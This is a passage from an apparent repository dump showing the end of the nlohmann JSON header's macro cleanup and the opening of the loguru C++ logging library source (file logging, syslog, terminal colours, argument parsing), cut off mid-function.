JSON_HEDLEY_COMPCERT_VERSION\n#undef JSON_HEDLEY_COMPCERT_VERSION_CHECK\n#undef JSON_HEDLEY_CONCAT\n#undef JSON_HEDLEY_CONCAT3\n#undef JSON_HEDLEY_CONCAT3_EX\n#undef JSON_HEDLEY_CONCAT_EX\n#undef JSON_HEDLEY_CONST\n#undef JSON_HEDLEY_CONSTEXPR\n#undef JSON_HEDLEY_CONST_CAST\n#undef JSON_HEDLEY_CPP_CAST\n#undef JSON_HEDLEY_CRAY_VERSION\n#undef JSON_HEDLEY_CRAY_VERSION_CHECK\n#undef JSON_HEDLEY_C_DECL\n#undef JSON_HEDLEY_DEPRECATED\n#undef JSON_HEDLEY_DEPRECATED_FOR\n#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL\n#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_\n#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED\n#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_CPP_ATTRIBUTES\n#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS\n#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNUSED_FUNCTION\n#undef JSON_HEDLEY_DIAGNOSTIC_POP\n#undef JSON_HEDLEY_DIAGNOSTIC_PUSH\n#undef JSON_HEDLEY_DMC_VERSION\n#undef JSON_HEDLEY_DMC_VERSION_CHECK\n#undef JSON_HEDLEY_EMPTY_BASES\n#undef JSON_HEDLEY_EMSCRIPTEN_VERSION\n#undef JSON_HEDLEY_EMSCRIPTEN_VERSION_CHECK\n#undef JSON_HEDLEY_END_C_DECLS\n#undef JSON_HEDLEY_FLAGS\n#undef JSON_HEDLEY_FLAGS_CAST\n#undef JSON_HEDLEY_GCC_HAS_ATTRIBUTE\n#undef JSON_HEDLEY_GCC_HAS_BUILTIN\n#undef JSON_HEDLEY_GCC_HAS_CPP_ATTRIBUTE\n#undef JSON_HEDLEY_GCC_HAS_DECLSPEC_ATTRIBUTE\n#undef JSON_HEDLEY_GCC_HAS_EXTENSION\n#undef JSON_HEDLEY_GCC_HAS_FEATURE\n#undef JSON_HEDLEY_GCC_HAS_WARNING\n#undef JSON_HEDLEY_GCC_NOT_CLANG_VERSION_CHECK\n#undef JSON_HEDLEY_GCC_VERSION\n#undef JSON_HEDLEY_GCC_VERSION_CHECK\n#undef JSON_HEDLEY_GNUC_HAS_ATTRIBUTE\n#undef JSON_HEDLEY_GNUC_HAS_BUILTIN\n#undef JSON_HEDLEY_GNUC_HAS_CPP_ATTRIBUTE\n#undef JSON_HEDLEY_GNUC_HAS_DECLSPEC_ATTRIBUTE\n#undef JSON_HEDLEY_GNUC_HAS_EXTENSION\n#undef JSON_HEDLEY_GNUC_HAS_FEATURE\n#undef JSON_HEDLEY_GNUC_HAS_WARNING\n#undef JSON_HEDLEY_GNUC_VERSION\n#undef JSON_HEDLEY_GNUC_VERSION_CHECK\n#undef JSON_HEDLEY_HAS_ATTRIBUTE\n#undef JSON_HEDLEY_HAS_BUILTIN\n#undef JSON_HEDLEY_HAS_CPP_ATTRIBUTE\n#undef JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS\n#undef JSON_HEDLEY_HAS_DECLSPEC_ATTRIBUTE\n#undef JSON_HEDLEY_HAS_EXTENSION\n#undef JSON_HEDLEY_HAS_FEATURE\n#undef JSON_HEDLEY_HAS_WARNING\n#undef JSON_HEDLEY_IAR_VERSION\n#undef JSON_HEDLEY_IAR_VERSION_CHECK\n#undef JSON_HEDLEY_IBM_VERSION\n#undef JSON_HEDLEY_IBM_VERSION_CHECK\n#undef JSON_HEDLEY_IMPORT\n#undef JSON_HEDLEY_INLINE\n#undef JSON_HEDLEY_INTEL_CL_VERSION\n#undef JSON_HEDLEY_INTEL_CL_VERSION_CHECK\n#undef JSON_HEDLEY_INTEL_VERSION\n#undef JSON_HEDLEY_INTEL_VERSION_CHECK\n#undef JSON_HEDLEY_IS_CONSTANT\n#undef JSON_HEDLEY_IS_CONSTEXPR_\n#undef JSON_HEDLEY_LIKELY\n#undef JSON_HEDLEY_MALLOC\n#undef JSON_HEDLEY_MCST_LCC_VERSION\n#undef JSON_HEDLEY_MCST_LCC_VERSION_CHECK\n#undef JSON_HEDLEY_MESSAGE\n#undef JSON_HEDLEY_MSVC_VERSION\n#undef JSON_HEDLEY_MSVC_VERSION_CHECK\n#undef JSON_HEDLEY_NEVER_INLINE\n#undef JSON_HEDLEY_NON_NULL\n#undef JSON_HEDLEY_NO_ESCAPE\n#undef JSON_HEDLEY_NO_RETURN\n#undef JSON_HEDLEY_NO_THROW\n#undef JSON_HEDLEY_NULL\n#undef JSON_HEDLEY_PELLES_VERSION\n#undef JSON_HEDLEY_PELLES_VERSION_CHECK\n#undef JSON_HEDLEY_PGI_VERSION\n#undef JSON_HEDLEY_PGI_VERSION_CHECK\n#undef JSON_HEDLEY_PREDICT\n#undef JSON_HEDLEY_PRINTF_FORMAT\n#undef JSON_HEDLEY_PRIVATE\n#undef JSON_HEDLEY_PUBLIC\n#undef JSON_HEDLEY_PURE\n#undef JSON_HEDLEY_REINTERPRET_CAST\n#undef JSON_HEDLEY_REQUIRE\n#undef JSON_HEDLEY_REQUIRE_CONSTEXPR\n#undef JSON_HEDLEY_REQUIRE_MSG\n#undef JSON_HEDLEY_RESTRICT\n#undef JSON_HEDLEY_RETURNS_NON_NULL\n#undef JSON_HEDLEY_SENTINEL\n#undef JSON_HEDLEY_STATIC_ASSERT\n#undef JSON_HEDLEY_STATIC_CAST\n#undef JSON_HEDLEY_STRINGIFY\n#undef JSON_HEDLEY_STRINGIFY_EX\n#undef JSON_HEDLEY_SUNPRO_VERSION\n#undef JSON_HEDLEY_SUNPRO_VERSION_CHECK\n#undef JSON_HEDLEY_TINYC_VERSION\n#undef JSON_HEDLEY_TINYC_VERSION_CHECK\n#undef JSON_HEDLEY_TI_ARMCL_VERSION\n#undef JSON_HEDLEY_TI_ARMCL_VERSION_CHECK\n#undef JSON_HEDLEY_TI_CL2000_VERSION\n#undef JSON_HEDLEY_TI_CL2000_VERSION_CHECK\n#undef JSON_HEDLEY_TI_CL430_VERSION\n#undef JSON_HEDLEY_TI_CL430_VERSION_CHECK\n#undef JSON_HEDLEY_TI_CL6X_VERSION\n#undef JSON_HEDLEY_TI_CL6X_VERSION_CHECK\n#undef JSON_HEDLEY_TI_CL7X_VERSION\n#undef JSON_HEDLEY_TI_CL7X_VERSION_CHECK\n#undef JSON_HEDLEY_TI_CLPRU_VERSION\n#undef JSON_HEDLEY_TI_CLPRU_VERSION_CHECK\n#undef JSON_HEDLEY_TI_VERSION\n#undef JSON_HEDLEY_TI_VERSION_CHECK\n#undef JSON_HEDLEY_UNAVAILABLE\n#undef JSON_HEDLEY_UNLIKELY\n#undef JSON_HEDLEY_UNPREDICTABLE\n#undef JSON_HEDLEY_UNREACHABLE\n#undef JSON_HEDLEY_UNREACHABLE_RETURN\n#undef JSON_HEDLEY_VERSION\n#undef JSON_HEDLEY_VERSION_DECODE_MAJOR\n#undef JSON_HEDLEY_VERSION_DECODE_MINOR\n#undef JSON_HEDLEY_VERSION_DECODE_REVISION\n#undef JSON_HEDLEY_VERSION_ENCODE\n#undef JSON_HEDLEY_WARNING\n#undef JSON_HEDLEY_WARN_UNUSED_RESULT\n#undef JSON_HEDLEY_WARN_UNUSED_RESULT_MSG\n#undef JSON_HEDLEY_FALL_THROUGH\n\n\n\n#endif  // INCLUDE_NLOHMANN_JSON_HPP_\n"
  },
  {
    "path": "RedEdrShared/loguru.cpp",
    "content": "#if defined(__GNUC__) || defined(__clang__)\n// Disable all warnings from gcc/clang:\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wpragmas\"\n\n#pragma GCC diagnostic ignored \"-Wc++98-compat\"\n#pragma GCC diagnostic ignored \"-Wc++98-compat-pedantic\"\n#pragma GCC diagnostic ignored \"-Wexit-time-destructors\"\n#pragma GCC diagnostic ignored \"-Wformat-nonliteral\"\n#pragma GCC diagnostic ignored \"-Wglobal-constructors\"\n#pragma GCC diagnostic ignored \"-Wgnu-zero-variadic-macro-arguments\"\n#pragma GCC diagnostic ignored \"-Wmissing-prototypes\"\n#pragma GCC diagnostic ignored \"-Wpadded\"\n#pragma GCC diagnostic ignored \"-Wsign-conversion\"\n#pragma GCC diagnostic ignored \"-Wunknown-pragmas\"\n#pragma GCC diagnostic ignored \"-Wunused-macros\"\n#pragma GCC diagnostic ignored \"-Wzero-as-null-pointer-constant\"\n#elif defined(_MSC_VER)\n#pragma warning(push)\n#pragma warning(disable:4365) // conversion from 'X' to 'Y', signed/unsigned mismatch\n#endif\n\n#include \"loguru.hpp\"\n\n#ifndef LOGURU_HAS_BEEN_IMPLEMENTED\n#define LOGURU_HAS_BEEN_IMPLEMENTED\n\n#define LOGURU_PREAMBLE_WIDTH (53 + LOGURU_THREADNAME_WIDTH + LOGURU_FILENAME_WIDTH)\n\n#undef min\n#undef max\n\n#include <algorithm>\n#include <atomic>\n#include <cctype>\n#include <chrono>\n#include <cstdarg>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <mutex>\n#include <regex>\n#include <string>\n#include <thread>\n#include <vector>\n\n#if LOGURU_SYSLOG\n#include <syslog.h>\n#else\n#define LOG_USER 0\n#endif\n\n#ifdef _WIN32\n#include <direct.h>\n\n#define localtime_r(a, b) localtime_s(b, a) // No localtime_r with MSVC, but arguments are swapped for localtime_s\n#else\n#include <signal.h>\n#include <sys/stat.h> // mkdir\n#include <unistd.h>   // STDERR_FILENO\n#endif\n\n#ifdef __linux__\n#include <linux/limits.h> // PATH_MAX\n#elif !defined(_WIN32)\n#include <limits.h> // PATH_MAX\n#endif\n\n#ifndef PATH_MAX\n#define PATH_MAX 1024\n#endif\n\n#ifdef __APPLE__\n#include \"TargetConditionals.h\"\n#endif\n\n// TODO: use defined(_POSIX_VERSION) for some of these things?\n\n#if defined(_WIN32) || defined(__CYGWIN__)\n#define LOGURU_PTHREADS    0\n#define LOGURU_WINTHREADS  1\n#ifndef LOGURU_STACKTRACES\n#define LOGURU_STACKTRACES 0\n#endif\n#else\n#define LOGURU_PTHREADS    1\n#define LOGURU_WINTHREADS  0\n#ifdef __GLIBC__\n#ifndef LOGURU_STACKTRACES\n#define LOGURU_STACKTRACES 1\n#endif\n#else\n#ifndef LOGURU_STACKTRACES\n#define LOGURU_STACKTRACES 0\n#endif\n#endif\n#endif\n\n#if LOGURU_STACKTRACES\n#include <cxxabi.h>    // for __cxa_demangle\n#include <dlfcn.h>     // for dladdr\n#include <execinfo.h>  // for backtrace\n#endif // LOGURU_STACKTRACES\n\n#if LOGURU_PTHREADS\n#include <pthread.h>\n#if defined(__FreeBSD__)\n#include <pthread_np.h>\n#include <sys/thr.h>\n#elif defined(__OpenBSD__)\n#include <pthread_np.h>\n#endif\n\n#ifdef __linux__\n\t/* On Linux, the default thread name is the same as the name of the binary.\n\t   Additionally, all new threads inherit the name of the thread it got forked from.\n\t   For this reason, Loguru use the pthread Thread Local Storage\n\t   for storing thread names on Linux. */\n#ifndef LOGURU_PTLS_NAMES\n#define LOGURU_PTLS_NAMES 1\n#endif\n#endif\n#endif\n\n#if LOGURU_WINTHREADS\n#ifndef _WIN32_WINNT\n#define _WIN32_WINNT 0x0502\n#endif\n#ifndef WIN32_LEAN_AND_MEAN\n#define WIN32_LEAN_AND_MEAN\n#endif\n#define NOMINMAX\n#include <windows.h>\n#endif\n\n#ifndef LOGURU_PTLS_NAMES\n#define LOGURU_PTLS_NAMES 0\n#endif\n\nLOGURU_ANONYMOUS_NAMESPACE_BEGIN\n\nnamespace loguru\n{\n\tusing namespace std::chrono;\n\n#if LOGURU_WITH_FILEABS\n\tstruct FileAbs\n\t{\n\t\tchar path[PATH_MAX];\n\t\tchar mode_str[4];\n\t\tVerbosity verbosity;\n\t\tstruct stat st;\n\t\tFILE* fp;\n\t\tbool is_reopening = false; // to prevent recursive call in file_reopen.\n\t\tdecltype(steady_clock::now()) last_check_time = steady_clock::now();\n\t};\n#else\n\ttypedef FILE* FileAbs;\n#endif\n\n\tstruct Callback\n\t{\n\t\tstd::string     id;\n\t\tlog_handler_t   callback;\n\t\tvoid* user_data;\n\t\tVerbosity       verbosity; // Does not change!\n\t\tclose_handler_t close;\n\t\tflush_handler_t flush;\n\t\tunsigned        indentation;\n\t};\n\n\tusing CallbackVec = std::vector<Callback>;\n\n\tusing StringPair = std::pair<std::string, std::string>;\n\tusing StringPairList = std::vector<StringPair>;\n\n\tconst auto s_start_time = steady_clock::now();\n\n\tVerbosity g_stderr_verbosity = Verbosity_0;\n\tbool      g_colorlogtostderr = true;\n\tunsigned  g_flush_interval_ms = 0;\n\tbool      g_preamble_header = true;\n\tbool      g_preamble = true;\n\n\tVerbosity g_internal_verbosity = Verbosity_0;\n\n\t// Preamble details\n\tbool      g_preamble_date = true;\n\tbool      g_preamble_time = true;\n\tbool      g_preamble_uptime = false;\n\tbool      g_preamble_thread = false;\n\tbool      g_preamble_file = false;\n\tbool      g_preamble_verbose = true;\n\tbool      g_preamble_pipe = true;\n\n\tstatic std::recursive_mutex  s_mutex;\n\tstatic Verbosity             s_max_out_verbosity = Verbosity_OFF;\n\tstatic std::string           s_argv0_filename;\n\tstatic std::string           s_arguments;\n\tstatic char                  s_current_dir[PATH_MAX];\n\tstatic CallbackVec           s_callbacks;\n\tstatic fatal_handler_t       s_fatal_handler = nullptr;\n\tstatic verbosity_to_name_t   s_verbosity_to_name_callback = nullptr;\n\tstatic name_to_verbosity_t   s_name_to_verbosity_callback = nullptr;\n\tstatic StringPairList        s_user_stack_cleanups;\n\tstatic bool                  s_strip_file_path = true;\n\tstatic std::atomic<unsigned> s_stderr_indentation{ 0 };\n\n\t// For periodic flushing:\n\tstatic std::thread* s_flush_thread = nullptr;\n\tstatic bool         s_needs_flushing = false;\n\n\tstatic SignalOptions s_signal_options = SignalOptions::none();\n\n\tstatic const bool s_terminal_has_color = []() {\n#ifdef _WIN32\n#ifndef ENABLE_VIRTUAL_TERMINAL_PROCESSING\n#define ENABLE_VIRTUAL_TERMINAL_PROCESSING  0x0004\n#endif\n\n\t\tHANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);\n\t\tif (hOut != INVALID_HANDLE_VALUE) {\n\t\t\tDWORD dwMode = 0;\n\t\t\tGetConsoleMode(hOut, &dwMode);\n\t\t\tdwMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING;\n\t\t\treturn SetConsoleMode(hOut, dwMode) != 0;\n\t\t}\n\t\treturn false;\n#else\n\t\tif (!isatty(STDERR_FILENO)) {\n\t\t\treturn false;\n\t\t}\n\t\tif (const char* term = getenv(\"TERM\")) {\n\t\t\treturn 0 == strcmp(term, \"cygwin\")\n\t\t\t\t|| 0 == strcmp(term, \"linux\")\n\t\t\t\t|| 0 == strcmp(term, \"rxvt-unicode-256color\")\n\t\t\t\t|| 0 == strcmp(term, \"screen\")\n\t\t\t\t|| 0 == strcmp(term, \"screen-256color\")\n\t\t\t\t|| 0 == strcmp(term, \"screen.xterm-256color\")\n\t\t\t\t|| 0 == strcmp(term, \"tmux-256color\")\n\t\t\t\t|| 0 == strcmp(term, \"xterm\")\n\t\t\t\t|| 0 == strcmp(term, \"xterm-256color\")\n\t\t\t\t|| 0 == strcmp(term, \"xterm-termite\")\n\t\t\t\t|| 0 == strcmp(term, \"xterm-color\");\n\t\t}\n\t\telse {\n\t\t\treturn false;\n\t\t}\n#endif\n\t}();\n\n\tstatic void print_preamble_header(char* out_buff, size_t out_buff_size);\n\n\t// ------------------------------------------------------------------------------\n\t// Colors\n\n\tbool terminal_has_color() { return s_terminal_has_color; }\n\n\t// Colors\n\n#ifdef _WIN32\n#define VTSEQ(ID) (\"\\x1b[1;\" #ID \"m\")\n#else\n#define VTSEQ(ID) (\"\\x1b[\" #ID \"m\")\n#endif\n\n\tconst char* terminal_black() { return s_terminal_has_color ? VTSEQ(30) : \"\"; }\n\tconst char* terminal_red() { return s_terminal_has_color ? VTSEQ(31) : \"\"; }\n\tconst char* terminal_green() { return s_terminal_has_color ? VTSEQ(32) : \"\"; }\n\tconst char* terminal_yellow() { return s_terminal_has_color ? VTSEQ(33) : \"\"; }\n\tconst char* terminal_blue() { return s_terminal_has_color ? VTSEQ(34) : \"\"; }\n\tconst char* terminal_purple() { return s_terminal_has_color ? VTSEQ(35) : \"\"; }\n\tconst char* terminal_cyan() { return s_terminal_has_color ? VTSEQ(36) : \"\"; }\n\tconst char* terminal_light_gray() { return s_terminal_has_color ? VTSEQ(37) : \"\"; }\n\tconst char* terminal_white() { return s_terminal_has_color ? VTSEQ(37) : \"\"; }\n\tconst char* terminal_light_red() { return s_terminal_has_color ? VTSEQ(91) : \"\"; }\n\tconst char* terminal_dim() { return s_terminal_has_color ? VTSEQ(2) : \"\"; }\n\n\t// Formating\n\tconst char* terminal_bold() { return s_terminal_has_color ? VTSEQ(1) : \"\"; }\n\tconst char* terminal_underline() { return s_terminal_has_color ? VTSEQ(4) : \"\"; }\n\n\t// You should end each line with this!\n\tconst char* terminal_reset() { return s_terminal_has_color ? VTSEQ(0) : \"\"; }\n\n\t// ------------------------------------------------------------------------------\n#if LOGURU_WITH_FILEABS\n\tvoid file_reopen(void* user_data);\n\tinline FILE* to_file(void* user_data) { return reinterpret_cast<FileAbs*>(user_data)->fp; }\n#else\n\tinline FILE* to_file(void* user_data) { return reinterpret_cast<FILE*>(user_data); }\n#endif\n\n\tvoid file_log(void* user_data, const Message& message)\n\t{\n#if LOGURU_WITH_FILEABS\n\t\tFileAbs* file_abs = reinterpret_cast<FileAbs*>(user_data);\n\t\tif (file_abs->is_reopening) {\n\t\t\treturn;\n\t\t}\n\t\t// It is better checking file change every minute/hour/day,\n\t\t// instead of doing this every time we log.\n\t\t// Here check_interval is set to zero to enable checking every time;\n\t\tconst auto check_interval = seconds(0);\n\t\tif (duration_cast<seconds>(steady_clock::now() - file_abs->last_check_time) > check_interval) {\n\t\t\tfile_abs->last_check_time = steady_clock::now();\n\t\t\tfile_reopen(user_data);\n\t\t}\n\t\tFILE* file = to_file(user_data);\n\t\tif (!file) {\n\t\t\treturn;\n\t\t}\n#else\n\t\tFILE* file = to_file(user_data);\n#endif\n\t\tfprintf(file, \"%s%s%s%s\\n\",\n\t\t\tmessage.preamble, message.indentation, message.prefix, message.message);\n\t\tif (g_flush_interval_ms == 0) {\n\t\t\tfflush(file);\n\t\t}\n\t}\n\n\tvoid file_close(void* user_data)\n\t{\n\t\tFILE* file = to_file(user_data);\n\t\tif (file) {\n\t\t\tfclose(file);\n\t\t}\n#if LOGURU_WITH_FILEABS\n\t\tdelete reinterpret_cast<FileAbs*>(user_data);\n#endif\n\t}\n\n\tvoid file_flush(void* user_data)\n\t{\n\t\tFILE* file = to_file(user_data);\n\t\tfflush(file);\n\t}\n\n#if LOGURU_WITH_FILEABS\n\tvoid file_reopen(void* user_data)\n\t{\n\t\tFileAbs* file_abs = reinterpret_cast<FileAbs*>(user_data);\n\t\tstruct stat st;\n\t\tint ret;\n\t\tif (!file_abs->fp || (ret = stat(file_abs->path, &st)) == -1 || (st.st_ino != file_abs->st.st_ino)) {\n\t\t\tfile_abs->is_reopening = true;\n\t\t\tif (file_abs->fp) {\n\t\t\t\tfclose(file_abs->fp);\n\t\t\t}\n\t\t\tif (!file_abs->fp) {\n\t\t\t\tVLOG_F(g_internal_verbosity, \"Reopening file '\" LOGURU_FMT(s) \"' due to previous error\", file_abs->path);\n\t\t\t}\n\t\t\telse if (ret < 0) {\n\t\t\t\tconst auto why = errno_as_text();\n\t\t\t\tVLOG_F(g_internal_verbosity, \"Reopening file '\" LOGURU_FMT(s) \"' due to '\" LOGURU_FMT(s) \"'\", file_abs->path, why.c_str());\n\t\t\t}\n\t\t\telse {\n\t\t\t\tVLOG_F(g_internal_verbosity, \"Reopening file '\" LOGURU_FMT(s) \"' due to file changed\", file_abs->path);\n\t\t\t}\n\t\t\t// try reopen current file.\n\t\t\tif (!create_directories(file_abs->path)) {\n\t\t\t\tLOG_F(ERROR, \"Failed to create directories to '\" LOGURU_FMT(s) \"'\", file_abs->path);\n\t\t\t}\n\t\t\tfile_abs->fp = fopen(file_abs->path, file_abs->mode_str);\n\t\t\tif (!file_abs->fp) {\n\t\t\t\tLOG_F(ERROR, \"Failed to open '\" LOGURU_FMT(s) \"'\", file_abs->path);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tstat(file_abs->path, &file_abs->st);\n\t\t\t}\n\t\t\tfile_abs->is_reopening = false;\n\t\t}\n\t}\n#endif\n\t// ------------------------------------------------------------------------------\n\t// ------------------------------------------------------------------------------\n#if LOGURU_SYSLOG\n\tvoid syslog_log(void* /*user_data*/, const Message& message)\n\t{\n\t\t/*\n\t\t\tLevel 0: Is reserved for kernel panic type situations.\n\t\t\tLevel 1: Is for Major resource failure.\n\t\t\tLevel 2->7 Application level failures\n\t\t*/\n\t\tint level;\n\t\tif (message.verbosity < Verbosity_FATAL) {\n\t\t\tlevel = 1; // System Alert\n\t\t}\n\t\telse {\n\t\t\tswitch (message.verbosity) {\n\t\t\tcase Verbosity_FATAL:   level = 2; break;\t// System Critical\n\t\t\tcase Verbosity_ERROR:   level = 3; break;\t// System Error\n\t\t\tcase Verbosity_WARNING: level = 4; break;\t// System Warning\n\t\t\tcase Verbosity_INFO:    level = 5; break;\t// System Notice\n\t\t\tcase Verbosity_1:       level = 6; break;\t// System Info\n\t\t\tdefault:                level = 7; break;\t// System Debug\n\t\t\t}\n\t\t}\n\n\t\t// Note: We don't add the time info.\n\t\t// This is done automatically by the syslog deamon.\n\t\t// Otherwise log all information that the file log does.\n\t\tsyslog(level, \"%s%s%s\", message.indentation, message.prefix, message.message);\n\t}\n\n\tvoid syslog_close(void* /*user_data*/)\n\t{\n\t\tcloselog();\n\t}\n\n\tvoid syslog_flush(void* /*user_data*/)\n\t{}\n#endif\n\t// ------------------------------------------------------------------------------\n\t\t// Helpers:\n\n\tText::~Text() { free(_str); }\n\n#if LOGURU_USE_FMTLIB\n\tText vtextprintf(const char* format, fmt::format_args args)\n\t{\n\t\treturn Text(STRDUP(fmt::vformat(format, args).c_str()));\n\t}\n#else\n\tLOGURU_PRINTF_LIKE(1, 0)\n\t\tstatic Text vtextprintf(const char* format, va_list vlist)\n\t{\n#ifdef _WIN32\n\t\tint bytes_needed = _vscprintf(format, vlist);\n\t\tCHECK_F(bytes_needed >= 0, \"Bad string format: '%s'\", format);\n\t\tchar* buff = (char*)malloc(bytes_needed + 1);\n\t\tvsnprintf(buff, bytes_needed + 1, format, vlist);\n\t\treturn Text(buff);\n#else\n\t\tchar* buff = nullptr;\n\t\tint result = vasprintf(&buff, format, vlist);\n\t\tCHECK_F(result >= 0, \"Bad string format: '\" LOGURU_FMT(s) \"'\", format);\n\t\treturn Text(buff);\n#endif\n\t}\n\n\tText textprintf(const char* format, ...)\n\t{\n\t\tva_list vlist;\n\t\tva_start(vlist, format);\n\t\tauto result = vtextprintf(format, vlist);\n\t\tva_end(vlist);\n\t\treturn result;\n\t}\n#endif\n\n\t// Overloaded for variadic template matching.\n\tText textprintf()\n\t{\n\t\treturn Text(static_cast<char*>(calloc(1, 1)));\n\t}\n\n\tstatic const char* indentation(unsigned depth)\n\t{\n\t\tstatic const char buff[] =\n\t\t\t\".   .   .   .   .   .   .   .   .   .   \" \".   .   .   .   .   .   .   .   .   .   \"\n\t\t\t\".   .   .   .   .   .   .   .   .   .   \" \".   .   .   .   .   .   .   .   .   .   \"\n\t\t\t\".   .   .   .   .   .   .   .   .   .   \" \".   .   .   .   .   .   .   .   .   .   \"\n\t\t\t\".   .   .   .   .   .   .   .   .   .   \" \".   .   .   .   .   .   .   .   .   .   \"\n\t\t\t\".   .   .   .   .   .   .   .   .   .   \" \".   .   .   .   .   .   .   .   .   .   \";\n\t\tstatic const size_t INDENTATION_WIDTH = 4;\n\t\tstatic const size_t NUM_INDENTATIONS = (sizeof(buff) - 1) / INDENTATION_WIDTH;\n\t\tdepth = std::min<unsigned>(depth, NUM_INDENTATIONS);\n\t\treturn buff + INDENTATION_WIDTH * (NUM_INDENTATIONS - depth);\n\t}\n\n\tstatic void parse_args(int& argc, char* argv[], const char* verbosity_flag)\n\t{\n\t\tint arg_dest = 1;\n\t\tint out_argc = argc;\n\n\t\tfor (int arg_it = 1; arg_it < argc; ++arg_it) {\n\t\t\tauto cmd = argv[arg_it];\n\t\t\tauto arg_len = strlen(verbosity_flag);\n\n\t\t\tbool last_is_alpha = false;\n#if LOGURU_USE_LOCALE\n\t\t\ttry {  // locale variant of isalpha will throw on error\n\t\t\t\tlast_is_alpha = std::isalpha(cmd[arg_len], std::locale(\"\"));\n\t\t\t}\n\t\t\tcatch (...) {\n\t\t\t\tlast_is_alpha = std::isalpha(static_cast<int>(cmd[arg_len]));\n\t\t\t}\n#else\n\t\t\tlast_is_alpha = std::isalpha(static_cast<int>(cmd[arg_len]));\n#endif\n\n\t\t\tif (strncmp(cmd, verbosity_flag, arg_len) == 0 && !last_is_alpha) {\n\t\t\t\tout_argc -= 1;\n\t\t\t\tauto value_str = cmd + arg_len;\n\t\t\t\tif (value_str[0] == '\\0') {\n\t\t\t\t\t// Value in separate argument\n\t\t\t\t\targ_it += 1;\n\t\t\t\t\tCHECK_LT_F(arg_it, argc, \"Missing verbosiy level after \" LOGURU_FMT(s) \"\", verbosity_flag);\n\t\t\t\t\tvalue_str = argv[arg_it];\n\t\t\t\t\tout_argc -= 1;\n\t\t\t\t}\n\t\t\t\tif (*value_str == '=') { value_str += 1; }\n\n\t\t\t\tauto req_verbosity = get_verbosity_from_name(value_str);\n\t\t\t\tif (req_verbosity != Verbosity_INVALID) {\n\t\t\t\t\tg_stderr_verbosity = req_verbosity;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tchar* end = 0;\n\t\t\t\t\tg_stderr_verbosity = static_cast<int>(strtol(value_str, &end, 10));\n\t\t\t\t\tCHECK_F(end && *end == '\\0',\n\t\t\t\t\t\t\"Invalid verbosity. Expected integer, INFO, WARNING, ERROR or OFF, got '\" LOGURU_FMT(s) \"'\", value_str);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\targv[arg_dest++] = argv[arg_it];\n\t\t\t}\n\t\t}\n\n\t\targc = out_argc;\n\t\targv[argc] = nullptr;\n\t}\n\n\tstatic long long now_ns()\n\t{\n\t\treturn duration_cast<nanoseconds>(high_resolution_clock::now().time_since_epoch()).count();\n\t}\n\n\t// Returns the part of the path after the last / or \\ (if any).\n\tconst char* filename(const char* path)\n\t{\n\t\tfor (auto ptr = path; *ptr; ++ptr) {\n\t\t\tif (*ptr == '/' || *ptr == '\\\\') {\n\t\t\t\tpath = ptr + 1;\n\t\t\t}\n\t\t}\n\t\treturn path;\n\t}\n\n\t// ------------------------------------------------------------------------------\n\n\tstatic void on_atexit()\n\t{\n\t\tVLOG_F(g_internal_verbosity, \"atexit\");\n\t\tflush();\n\t}\n\n\tstatic void install_signal_handlers(const SignalOptions& signal_options);\n\n\tstatic void write_hex_digit(std::string& out, unsigned num)\n\t{\n\t\tDCHECK_LT_F(num, 16u);\n\t\tif (num < 10u) { out.push_back(char('0' + num)); }\n\t\telse { out.push_back(char('A' + num - 10)); }\n\t}\n\n\tstatic void write_hex_byte(std::string& out, uint8_t n)\n\t{\n\t\twrite_hex_digit(out, n >> 4u);\n\t\twrite_hex_digit(out, n & 0x0f);\n\t}\n\n\tstatic void escape(std::string& out, const std::string& str)\n\t{\n\t\tfor (char c : str) {\n\t\t\t/**/ if (c == '\\a') { out += \"\\\\a\"; }\n\t\t\telse if (c == '\\b') { out += \"\\\\b\"; }\n\t\t\telse if (c == '\\f') { out += \"\\\\f\"; }\n\t\t\telse if (c == '\\n') { out += \"\\\\n\"; }\n\t\t\telse if (c == '\\r') { out += \"\\\\r\"; }\n\t\t\telse if (c == '\\t') { out += \"\\\\t\"; }\n\t\t\telse if (c == '\\v') { out += \"\\\\v\"; }\n\t\t\telse if (c == '\\\\') { out += \"\\\\\\\\\"; }\n\t\t\telse if (c == '\\'') { out += \"\\\\\\'\"; }\n\t\t\telse if (c == '\\\"') { out += \"\\\\\\\"\"; }\n\t\t\telse if (c == ' ') { out += \"\\\\ \"; }\n\t\t\telse if (0 <= c && c < 0x20) { // ASCI control character:\n\t\t\t\t// else if (c < 0x20 || c != (c & 127)) { // ASCII control character or UTF-8:\n\t\t\t\tout += \"\\\\x\";\n\t\t\t\twrite_hex_byte(out, static_cast<uint8_t>(c));\n\t\t\t}\n\t\t\telse { out += c; }\n\t\t}\n\t}\n\n\tText errno_as_text()\n\t{\n\t\tchar buff[256];\n#if defined(__GLIBC__) && defined(_GNU_SOURCE)\n\t\t// GNU Version\n\t\treturn Text(STRDUP(strerror_r(errno, buff, sizeof(buff))));\n#elif defined(__APPLE__) || _POSIX_C_SOURCE >= 200112L\n\t\t// XSI Version\n\t\tstrerror_r(errno, buff, sizeof(buff));\n\t\treturn Text(strdup(buff));\n#elif defined(_WIN32)\n\t\tstrerror_s(buff, sizeof(buff), errno);\n\t\treturn Text(STRDUP(buff));\n#else\n\t\t// Not thread-safe.\n\t\treturn Text(STRDUP(strerror(errno)));\n#endif\n\t}\n\n\tvoid init(int& argc, char* argv[], const Options& options)\n\t{\n\t\tCHECK_GT_F(argc, 0, \"Expected proper argc/argv\");\n\t\tCHECK_EQ_F(argv[argc], nullptr, \"Expected proper argc/argv\");\n\n\t\ts_argv0_filename = filename(argv[0]);\n\n#ifdef _WIN32\n#define getcwd _getcwd\n#endif\n\n\t\tif 